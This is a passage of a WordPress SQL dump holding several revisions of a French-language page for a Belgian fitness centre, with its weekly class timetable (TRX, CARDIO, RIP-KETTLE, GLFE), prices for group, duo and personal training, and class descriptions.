&lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 15:55:25', '2013-07-03 15:55:25', '', 11, 'http://www.crosstrainingcenter.be/?p=159', 0, 'revision', '', 0),
(160, 1, '2013-07-03 16:08:26', '2013-07-03 16:08:26', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\n[table caption=\&quot;En semaine\&quot; width=\&quot;700\&quot; colwidth=\&quot;30|50|50|50|50|50\&quot; colalign=\&quot;right|left|left|left|left|left\&quot;]\r\n,&amp;lt;b&amp;gt;Lundi[attr class=\&quot;objectif\&quot;]&amp;lt;/b&amp;gt;,&amp;lt;b&amp;gt;Mardi&amp;lt;/b&amp;gt;,&amp;lt;b&amp;gt;Mercredi&amp;lt;/b&amp;gt;,&amp;lt;b&amp;gt;Jeudi&amp;lt;/b&amp;gt;,&amp;lt;b&amp;gt;Vendredi&amp;lt;/b&amp;gt;\r\n&amp;lt;b&amp;gt;17h30&amp;lt;/b&amp;gt;,TRX,CARDIO,RIP-KETTLE,GLFE,TRX\r\n&amp;lt;b&amp;gt;18h15&amp;lt;/b&amp;gt;,GLFE,TRX,CARDIO,RIP-KETTLE,GLFE\r\n&amp;lt;b&amp;gt;19h00&amp;lt;/b&amp;gt;,RIP-KETTLE,GLFE,TRX,CARDIO,RIP-KETTLE\r\n&amp;lt;b&amp;gt;19h45&amp;lt;/b&amp;gt;,CARDIO,RIP-KETTLE,GLFE,TRX,CARDIO\r\n[/table]\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:08:26', '2013-07-03 16:08:26', '', 11, 'http://www.crosstrainingcenter.be/?p=160', 0, 'revision', '', 0);
INSERT INTO `www_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(198, 1, '2013-07-03 17:41:28', '2013-07-03 17:41:28', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 45%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 